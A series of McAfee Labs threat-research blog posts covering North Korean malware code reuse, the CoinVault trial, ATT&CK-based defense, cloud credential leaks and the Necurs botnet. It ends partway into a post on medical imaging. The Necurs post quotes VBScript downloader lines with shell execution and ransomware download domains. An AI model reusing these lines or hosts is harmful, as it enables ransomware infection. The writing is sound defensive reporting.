This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries. Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.

Valuable context 

This article is too short to dig deeply into the history, politics, and economic changes of recent years. Nonetheless, we must highlight some events to put past and present cyber events into perspective.

The DPRK, like any country, wants to be as self-sufficient and independent as possible. However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them. What can a nation do when legal international economics are denied? To survive, it must gain foreign currency for trading. One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs. In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations. They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites. One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang. That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau bank was listed twice in the malware’s code as a recipient of stolen funds:

Figure 1: SWIFT code in malware.

Code reuse

There are many reasons to reuse malware code, which is very common in the world of cybercrime. If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses. With targeted campaigns, an adversary must keep its tools undetected for as long as possible. By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns. Our research was heavily focused on this type of analysis.

In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber units they work for. We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims. The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software. Unit 180 is responsible for illegally gaining foreign currency using hacking techniques. The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets. Most of these actions are executed by Unit 121.

We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse. We are highly confident that nation-state–sponsored groups were active in these efforts.

Timeline 

We created a timeline of most of the malware samples and noticeable campaigns that we examined. We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.

 

Figure 2: Timeline of malware and campaigns.

Analysis and observations

Similarities

During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations. To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.

The following graph presents a high-level overview of these relations. Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.) and each line presents a code similarity between two families. A thicker line correlates to a stronger similarity. In defining similarities, we take into account only unique code connections, and disregard common code or libraries. This definition holds both for this graph and our entire research.

 

Figure 3: Code similarities between North Korean–associated malware families.

We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea. Our research included thousands of samples, mostly unclassified or uncategorized. This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here. 

Deep technical analysis 

During our research, we came across many code similarities between North Korean binaries that had not been seen before. Some of these attacks and malware have not been linked to one another, at least publicly. We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.

  1. Common SMB module

The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code across these families is an AES library from CodeProject. These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.

Figure 4: Code overlap of a Mydoom sample.

In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.

Figure 5: An SMB module common to several attacks.

A lot has been written about WannaCry. As we analyze the code against our databases, we can draw the following overview:

Figure 6: WannaCry code comparison overview.

For our research we compared the three major variants of WannaCry. An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.

  1. Common file mapping

The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file. This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign. These three RATs are thought to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL share more code, making them closer variants.

Figure 7: Code overlap in a NavRAT sample.

Figure 8: File-mapping code 

  1. Unique net share

The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011. These malware families are also attributed to the Lazarus group.

Figure 9: Code overlap of a SierraBravo (Brambul) sample.

Figure 10: A code block reused in the malware families Brambul/SierraBravo and KorDllBot.

  1. Operation Dark Hotel

In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors. Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.

While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections. By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.

Figure 11: Code overlap in a Dark Hotel sample.

Identifying a group

By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.

With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.

 

Figure 12: Groups and families linked by code reuse.

The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years. Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.

The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus. Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.

MITRE ATT&CK

From our research of these malware samples, we can identify the following techniques used by the malware families:

When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware. The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.

In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers. Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.

Final words

Security vendors and researchers often use different names when speaking about the same malware, group, or attack. This habit makes it challenging to group all the malware and campaigns. By taking a scientific approach, such as looking for code reuse, we can categorize our findings. We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.

We clearly saw a lot of code reuse over the many years of cyber campaigns we examined. This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.

We found our months of research, data gathering, and analysis very satisfying. By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before. The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.

The authors thank Costin Raiu for providing them with samples they did not have in their collections.

Sources

Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North Korea Ties.” Wall Street Journal, last updated September 8, 2005.

Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.” https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/

Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html

Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.” https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ 

Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.” https://www.kaspersky.com/blog/darkhotel-apt/6613/ 

Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.” https://blog.talosintelligence.com/2018/05/navrat.html 

Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html

Mydoom code reuse report. https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad

NavRAT code reuse report. https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb

SierraBravo code reuse report. https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c

Dark Hotel code reuse report. https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4

Kang Jang-ho, “A foreign currency earned with a virtual currency … What is the life of a North Korean hacker?” http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple

Awesome work by the team responsible for the “Operation Blockbuster” report. https://www.operationblockbuster.com/resources/

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/feed/ 0
What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/#respond Fri, 13 Jul 2018 22:52:08 +0000 https://securingtomorrow.mcafee.com/?p=90372 How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers. The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of […]

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.

The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.

They were responsible for creating the ransomware families CoinVault and BitCryptor. CoinVault, the better known of the two, made its appearance in late 2014. The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013. The brothers were not very impressed and agreed that they could do a better job. What might have started out as a fun technical challenge turned into a criminal business.

The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns. Nor did they profit as much from it, but this case is nevertheless uncommon. It is rare that the developers of ransomware are caught, let alone confess their crimes. This case gives us an opportunity to understand what drove them down a path to cybercrime.

The challenge

Why would someone write malicious code and infect thousands of people? The judge asked the brothers the same question. Their response was “Because it was a technical challenge.” “But didn’t you realize you were dealing with people?” the judge responded. Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.

The judge and prosecutor did not accept their explanation. CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas. The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.” According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.

At the trial they said they were sorry and tearfully regretted what they had done. But were these mere crocodile tears because they got caught? During CoinVault’s lifespan, several versions of the ransomware were released. Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement. Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.

Their continuing to improve the ransomware shows a lack of empathy with their victims. Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?

The payment

A ransomware criminal must decide the amount of ransom to charge. Generally the more targeted a ransomware attack is, the higher the ransom demand will be. CoinVault’s infections were not targeted at one organization; they charged only US$250. The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit. The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”

The infection

The two brothers did not directly infect their victims with ransomware; they took a multistep approach. Their distribution method was via newsgroup channels. They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups. Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets. Comhost can also upload and execute binaries received from the control server they named Sonar. (We believe Sonar is modified a version of the popular Solar botnet software.)

The Sonar botnet panel.

Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once. This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption. By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.

The CoinVault lock screen.

The arrest

In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault. After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015. Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom. Their mistakes? Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.

Flawless Dutch in the ransomware code.

Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.

Example:

 c:\Users\**********\Desktop\Coinvault\coinvault-cleaned\obj\Debug\coinvault.pdb

From grabbing keys to No More Ransom

During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault. This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools. No More Ransom now has decryptors for 85 ransomware versions. This global initiative has prevented millions of dollars from falling into the hands of cybercriminals. McAfee is proud to be one of the founding members of No More Ransom.

Nomoreransom.org

The next steps

Extorting people with ransomware is wrong, and perpetrators must be held accountable. It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector. We hope they will have learned a lesson as they endure the consequences of their actions. The sentencing will take place in about two weeks. Perhaps after they serve their time, they will find someone willing to give them a second chance.

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/feed/ 0
Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/#respond Tue, 19 Jun 2018 04:01:25 +0000 https://securingtomorrow.mcafee.com/?p=89338 Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. […]

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. One might wonder how to deal with these kinds of threats and where to start.

Sun Tzu’s The Art of War contains some great wisdom regarding the strategy of warfare. One of the most popular is the advice “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

Applying this advice to information security, let’s focus first on knowing yourself. Knowing yourself can roughly be divided into two parts:

  • What do I have that can be of value to an attacker?
  • How do I detect, protect, and correct any threats to my identified value?

Every company has a value, it takes only one criminal mind to see that and to attempt to exploit it. Ask yourself what the core of your business is, the secret sauce that people might be after, what will take you out of business, whom you are doing business with, who are your clients, etc.

Once you have identified your organization’s value, the second part of knowing yourself comes into play. You must understand where you to focus your defenses and invest in technology to detect and protect against threats.

After wrapping up the knowing yourself part, what can we learn from the enemy? Ask yourself “Who would likely be interested in attacking me?” By going through the list of known adversaries and cybercriminal groups, you can create a list based on which geographies and vectors they target and classify them by risk. Here is a simplified example:

Once you have your list and risk classification ready, you must next study the tactics, techniques, and procedures used by these adversaries. For mapping their techniques and associated campaigns, we use the MITRE Adversarial Tactics, Techniques, and Common Knowledge model (ATT&CK). The matrix covers hundreds of techniques, and can be applied for different purposes. In this case, we will focus on the risk versus mapping the defensive architecture.

In Q1 of 2018, we mapped the targeted attacks discovered by ourselves and our peers in the industry. The following example comes from one adversary we tracked, showing the techniques they used:

With MITRE’s Navigator tool you can select an actor or malware family. After making the selection, the boxes in the matrix show which techniques the actor or malware has used.

From these techniques we can learn how our environments protect against these techniques and where we have gaps. The goal is not to create coverage or signatures for each technique; the matrix helps organizations understand how attackers behave. Having more visibility into their methods leads us to the right responses, and helps us contain and eradicate attacks in a coordinated way. By comparing the multiple actors from your initial risk assessment, you can build the matrix from the perspective of high/medium/low risk and map it against your defenses.

Although some adversaries might not have a history of attacking you and your sector, it is still good to ask yourself “What if we were a target?” Would your environment create enough visibility to detect and deal with these techniques?

Statistics

When we looked at the first quarter, we noticed that the three techniques were the most popular in the category of Privilege Escalation:

  • Exploitation of vulnerability
  • Process injection
  • Valid accounts

To determine your coverage and detection capacity, you should ask if the exploits used completely new vulnerabilities (no patches available) or if they had existed for a while. Would your environment have the right patches installed or are you missing them and have to take action?

When we looked at the categories of Exfiltration and Command and Control, most campaigns exfiltrated their data over a control server channel using a common port. That translates to either TCP port 80 (HTTP) or TCP port 443 (HTTPS). We all use these ports from inside the network to communicate to the internet. What if all my other defenses would fail to discover the suspicious activity? Which defensive components in my network would be able to inspect the outgoing traffic and block or flag the exfiltration attempts?

Conclusion

In this post, we highlighted one approach and application of the ATT&CK model. There are many ways to apply it for red teaming, threat hunting, and other tasks. At McAfee we embrace the model and are applying it to different levels and purposes in our organization. We are not only using it but also contribute to the model by describing newly discovered techniques used by adversaries.

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/feed/ 0
McAfee Protects Against Doppelgänging Technique https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/#respond Fri, 11 May 2018 15:00:40 +0000 https://securingtomorrow.mcafee.com/?p=88808 This blog was co-written with Brook Schoenfield. That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. […]

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
This blog was co-written with Brook Schoenfield.

That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. For example, in December 2017, a tool was released to hide PowerShell in a graphic file. Within 7 days of the release, McAfee Advanced Threat Research started to see the technique being exploited by a Nation State actor. From announcement to inclusion, test and use in production within 7 days is impressive.

This week, security-researchers from Kaspersky discovered that an actor was applying the so-called Process Doppelgänging technique in what has been named the “SynAck” ransomware. (https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/)

So What is the Process Doppelgänging Technique in a Nutshell?

Using this technique gives the malware writer an ability to run malicious code/executable under the cover of a legitimate executable by using the transaction features of the NTFS filesystem (Windows Transactional NTFS API).

McAfee Detects and Protects

Since the initial release of this technique in December 2017, McAfee Labs has been investigating this technique and how we might protect our customers. In contrast to adversaries who can release mistakes in code and implementation, we simply cannot. We have to thoroughly test to ensure that when we release our solution it detects correctly and does not disrupt or break other software.

McAfee’s Product Security Incident Team (PSIRT), working in coordination with McAfee’s product teams1 delivered a protection to Process Doppelgänging in two of McAfee’s product suites (see below for more detail). McAfee’s protection has tested effective against EnSilo’s original proof of concept (PoC) and other examples. As an example, we tested recent malware using the technique against our detection feature with success:

McAfee’s protection prevents execution of a file if changes to it are contained within a Windows NTFS transaction. There are no legitimate uses for the Transactional API to be used in this way, so far as McAfee know.

Details of products that include protection against Process Doppelgänging follow:

  • ENS 10.5.4, released April 24, 2018
  • VSE 8.8 patch 11, released April 24, 2018
  • ENS 10.6, Public Beta available March 9, 2018. Release is targeted around June 1, 2018

WSS 16.0.12 will include the same protection.  Release of WSS is targeted for the end of May, or the beginning of June, 2018.

What Is Protected 

Windows 7 & 8 -> McAfee protection is effective

Win 10 RS3 -> McAfee protection is effective

Win 10 RS4 -> Microsoft has implemented the same protection as McAfee

EnSilo have documented that attempts to exploit Win 10 Pre RS3 results in a Windows crash, “Blue Screen of Death” (BSOD). McAfee’s testing confirms Ensilo’s results.

Users may not see a detection alert with some versions of McAfee products under some versions of Windows. McAfee testing indicates that all versions of product under every Windows version listed above are protected.

 

1McAfee thanks McAfee Software Engineer, Alnoor Allidina for the diligence and insight that lead to the Process Dopplegänging protection.

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/feed/ 0
Cloud Clustering Vulnerable to Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/#respond Mon, 16 Apr 2018 16:00:43 +0000 https://securingtomorrow.mcafee.com/?p=88384 The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights. In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well […]

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights.

In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well as for cryptocurrency mining and other illegitimate uses. The use of containers has increased rapidly, especially when it comes to managing the deployment of applications. Our latest market survey found that 83% of organizations worldwide are actively testing or using containers in production. Applications need authentication for load balancing, managing the network between containers, auto-scaling, etc. One solution (called a cluster manager) for the automated installation and orchestration of containers is Kubernetes.

Some key components in the Kubernetes architecture appear below:

High-level Kubernetes architecture.

  • Kubernetes master server: The managing machine oversees one or more nodes
  • Node: A client that runs tasks as delegated by the user and Kubernetes master server
  • Pod: An application (or part of an application) that runs on a node. The smallest unit that can be scheduled to be deployed. Not intended to live long.

For our article, we need to highlight the etcd storage on the master server. This database stores the configuration data of the cluster and represents the overall state of the cluster at a given time. Kubernetes saves these secrets in Base64 strings; before Version 2.1 there was no authentication in etcd.

With that knowledge, security researcher Giovanni Collazo from Puerto Rico started to query the Shodan database for etcd databases connected to the Internet. He discovered many and by executing a query, some of these databases started to reveal a lot of credentials. Beyond leaking credentials from databases and other accounts, what other scenarios are possible?

Leaking Credentials

There are several ways that we can acquire credentials for cloud services without hacking into panels or services. By “creatively” searching public sites and repositories, we can find plenty of them. For example, when we searched on GitHub, we found more than 380,000 results for certain credentials. Let’s assume that half of them are useful: We would have 190,000 potentially valid credentials. As Collazo did for etcd, one can also use the Shodan search engine to query for other databases. By creating the right query for Django databases, for example, we were able to identify more cloud credentials. Amazon’s security team proactively scans GitHub for AWS credentials and informs their customers if they find credentials.

Regarding Kubernetes: Leaked credentials, complete configurations of the DNS, load balancers, and service accounts offer several possible scenarios. These include exfiltrating data, rerouting traffic, or even creating malicious containers in different nodes (if the service accounts have enough privileges to execute changes in the master server).

Creating malicious containers.

One of the biggest risks concerning leaked credentials is the abuse of your cloud resources for cryptomining. The adversaries can order multiple servers under your account to start cryptomining, enriching their bank accounts while you pay for the computing power “you” ordered.

Open Buckets

We have heard a lot about incidents in which companies have not secured their Amazon S3 buckets. A number of tools can scan for “open” buckets and download the content. Attackers would be most interested in write-enabled rights on a bucket. For our Cloud Security Alliance keynote address at RSA, we created a list of Fortune 1000 companies and looked for readable buckets. We discovered quite a few. That is no surprise, but if you combine the read-only buckets information with the ease of harvesting credentials, the story changes. With open and writable buckets, the adversaries have plenty of opportunities: storing and injecting malware, exfiltrating and manipulating data, etc.

McAfee cloud researchers offer an audit tool that, among other things, verifies the rights of buckets. As we write this post, more than 1,200 writable buckets belonging to a multitude of companies, are accessible to the public. One of the largest ad networks in the world had a publicly writable bucket. If adversaries could access that network, they could easily inject malicious code into advertisements. (As part of our responsible disclosure process, we reported the issue, which was fixed within hours.) You can read an extensive post on McAfee cloud research and how the analysts exposed possible man-in-the-middle attacks leveraging writable buckets.

Clustering the Techniques

To combat ransomware, many organizations use the cloud to back up and protect their data. In our talk we will approach the cloud as an attack vector for spreading ransomware. With the leaked credentials we discovered from various sources, the open and writable buckets created a groundwork for storing and spreading our ransomware. With attackers having a multitude of credentials and storage places such as buckets, databases, and containers, defenders would have difficulty keeping up. We all need to pay attention to where we store our credentials and how well we monitor and secure our cloud environments.

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/feed/ 0
Necurs Botnet Leads the World in Sending Spam Traffic https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/#respond Mon, 12 Mar 2018 04:03:39 +0000 https://securingtomorrow.mcafee.com/?p=84973 In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can […]

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.

]]>
In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/feed/ 0
McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/#respond Mon, 12 Mar 2018 04:02:25 +0000 https://securingtomorrow.mcafee.com/?p=84971 Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.

]]>
The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment. Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen. Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry, I quickly began to wonder why an ultrasound of our child would not instead save to a file. Intrigued, I decided to dig into the world of medical imaging and its possible security risks. The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.

PACS

